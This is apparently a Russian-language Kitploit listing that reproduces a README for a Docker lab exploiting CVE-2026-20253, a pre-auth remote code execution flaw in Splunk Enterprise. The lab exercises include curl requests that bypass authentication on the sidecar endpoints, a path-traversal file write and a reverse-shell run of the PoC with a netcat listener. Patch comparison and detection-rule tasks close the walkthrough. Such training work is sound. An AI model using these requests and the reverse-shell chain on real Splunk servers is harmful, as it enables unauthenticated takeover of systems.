Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-20253 — Docker-окружение для лабораторных работ с PoC-эксплойтом и чекером для CVE-2026-20253 — pre-auth RCE в Splunk Enterprise через sidecar-сервис PostgreSQL. | Kitploit
Инструменты/GitHubGitHub/ivanesk315/cve-2026-20253
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеRed TeamingЛаборатории и Практика
GitHubivanesk315/cve-2026-20253

CVE-2026-20253

Docker-окружение для лабораторных работ с PoC-эксплойтом и чекером для CVE-2026-20253 — pre-auth RCE в Splunk Enterprise через sidecar-сервис PostgreSQL.

Репозиторий
0 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Лабораторная среда CVE-2026-20253

Pre-Auth RCE в Splunk Enterprise через sidecar-сервис PostgreSQL

CVECVE-2026-20253
CVSS9.8 (Критический)
ТипНеаутентифицированное удалённое выполнение кода
CWECWE-306: Отсутствие аутентификации для критической функции
ПродуктSplunk Enterprise 10.0.x / 10.2.x

ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Данная лаборатория предназначена исключительно для авторизованных исследований в области безопасности, обучения и тестирования на проникновение. Не используйте её против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.


Архитектура лаборатории

root@kitploit:~
┌──────────────────────────────────────────────────────┐
│                  Docker Network: cve-lab             │
│                  Subnet: 172.20.0.0/24               │
│                                                      │
│  ┌─────────────────────┐   ┌──────────────────────┐  │
│  │  splunk-vulnerable   │   │  attacker            │  │
│  │  172.20.0.10         │   │  172.20.0.50         │  │
│  │                      │   │                      │  │
│  │  Splunk 10.2.3       │   │  Python 3.11         │  │
│  │  Port 8000 (Web)     │   │  nmap, netcat        │  │
│  │  Port 8089 (API)     │   │  postgresql-client   │  │
│  │  Port 8088 (HEC)     │   │  tcpdump             │  │
│  └─────────────────────┘   └──────────────────────┘  │
│                                                      │
│  ┌─────────────────────┐  (optional, profile: patched)│
│  │  splunk-patched      │                             │
│  │  172.20.0.11         │                             │
│  │  Splunk 10.2.4       │                             │
│  │  Port 8001 (Web)     │                             │
│  └─────────────────────┘                             │
└──────────────────────────────────────────────────────┘

Предварительные требования

  • Docker и Docker Compose
  • Git
  • 8 ГБ+ ОЗУ (Splunk требует значительного объёма памяти)
  • Доступ в интернет (для загрузки Docker-образов)

Быстрый старт

1. Запуск уязвимой лаборатории

root@kitploit:~
# Start Splunk vulnerable + attacker
docker-compose up -d

# Wait for Splunk to initialize (~2-3 minutes)
docker-compose logs -f splunk-vulnerable
# Look for: "Ansible playbook complete, will begin polling for Splunk On..."
# Then:     "Splunk is ready"

2. Проверка работы Splunk

  • Откройте браузер: http://localhost:8000
  • Логин: admin / ChangeMeNow!

3. Запуск проверки уязвимости

root@kitploit:~
# From host machine
docker exec -it attacker python checker.py -t http://172.20.0.10:8000 -k

# Or enter the attacker container
docker exec -it attacker bash
cd /opt/exploit
python checker.py -t http://172.20.0.10:8000 -k

4. Запуск PoC-эксплойта

root@kitploit:~
# Enter attacker container
docker exec -it attacker bash

# Check vulnerability
python poc.py -t http://172.20.0.10:8000 --check -k

# Full RCE exploit (start listener first in another terminal)
# Terminal 1 - Listener:
docker exec -it attacker nc -lvnp 4444

# Terminal 2 - Exploit:
docker exec -it attacker python poc.py \
    -t http://172.20.0.10:8000 \
    --rce \
    --lhost 172.20.0.50 \
    --lport 4444 \
    -k

5. (Опционально) Запуск пропатченной версии для сравнения

root@kitploit:~
docker-compose --profile patched up -d splunk-patched

# Test against patched instance (should return NOT VULNERABLE)
docker exec -it attacker python checker.py -t http://172.20.0.11:8000 -k

Упражнения лаборатории

Упражнение 1: Разведка и выявление уязвимости

Цель: Выявить эндпоинты sidecar-сервиса PostgreSQL и подтвердить обход аутентификации.

root@kitploit:~
# Scan Splunk ports
nmap -sV 172.20.0.10 -p 8000,8089,8088

# Probe sidecar endpoints manually with curl
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/health"
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/status"
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup"

Вопросы:

  • Какие HTTP-коды состояния вы наблюдаете?
  • Во что декодируется Authorization: Basic Og==?
  • Почему ответ 400 указывает на уязвимость (в отличие от 401)?

Упражнение 2: Примитив записи файлов

Цель: Продемонстрировать создание произвольных файлов на сервере Splunk.

root@kitploit:~
# Create a test file via the backup endpoint
curl -k -X POST -u ":" \
  "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup?backupFile=../../../../../../tmp/pwned"

# Verify the file was created
docker exec splunk-vulnerable ls -la /tmp/pwned

Упражнение 3: Полная цепочка RCE

Цель: Добиться выполнения кода на сервере Splunk.

  1. Запустите слушатель netcat на машине атакующего
  2. Запустите PoC-эксплойт с флагом --rce
  3. Подтвердите установление обратного шелла
  4. Исследуйте, какие права имеет шелл (whoami, id, ls /opt/splunk/etc/)

Упражнение 4: Анализ различий патча

Цель: Понять, что изменилось между уязвимой и пропатченной версиями.

root@kitploit:~
# Start both vulnerable and patched instances
docker-compose --profile patched up -d

# Compare responses
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/health"  # 400
curl -v -k -u ":" "http://172.20.0.11:8000/en-US/splunkd/__raw/v1/postgres/health"  # 401

# Diff the relevant Splunk configuration/code
docker exec splunk-vulnerable cat /opt/splunk/etc/apps/splunk_httpinput/default/inputs.conf
docker exec splunk-patched cat /opt/splunk/etc/apps/splunk_httpinput/default/inputs.conf

Упражнение 5: Разработка средств обнаружения

Цель: Создать правила обнаружения для данной уязвимости.

  1. Включите внутреннее логирование Splunk на уязвимом экземпляре
  2. Запустите эксплойт
  3. Выполните поиск в index=_internal на предмет артефактов атаки
  4. Напишите SPL-запросы для обнаружения (см. report/ANALYSIS.md, раздел 6)
  5. Протестируйте ваши средства обнаружения против эксплойта

Структура файлов

root@kitploit:~
CVE-2026-20253/
├── README.md                    # This file
├── docker-compose.yml           # Lab environment definition
├── attacker/
│   ├── Dockerfile               # Attacker container build
│   └── requirements.txt         # Python dependencies
├── exploit/
│   ├── checker.py               # Vulnerability checker script
│   ├── poc.py                   # PoC exploit (auth bypass → file write → RCE)
│   └── requirements.txt        # Python dependencies
└── report/
    └── ANALYSIS.md              # Root cause analysis & full report

Советы по отладке

Контейнер Splunk не запускается

root@kitploit:~
docker-compose logs splunk-vulnerable
# Common fix: increase Docker memory to 8GB+

Проверка работы sidecar-сервиса PostgreSQL

root@kitploit:~
docker exec splunk-vulnerable ps aux | grep postgres
docker exec splunk-vulnerable netstat -tlnp | grep 5435

Просмотр внутренних логов Splunk

root@kitploit:~
docker exec splunk-vulnerable cat /opt/splunk/var/log/splunk/splunkd.log | tail -50

Проверка целевого скрипта modular input

root@kitploit:~
docker exec splunk-vulnerable cat /opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py

Захват сетевого трафика для анализа

root@kitploit:~
docker exec attacker tcpdump -i eth0 -w /opt/exploit/capture.pcap host 172.20.0.10

Очистка

root@kitploit:~
# Stop and remove all containers
docker-compose --profile patched down

# Remove volumes (delete all Splunk data)
docker-compose --profile patched down -v

# Remove Docker images
docker rmi splunk/splunk:10.2.3 splunk/splunk:10.2.4

Ссылки

  • Полный анализ первопричины
  • Рекомендации Splunk SVD-2026-0610
  • Анализ и PoC от WatchTowr Labs
  • Каталог CISA KEV
  • Технический разбор от Picus Security
Скачать инструмент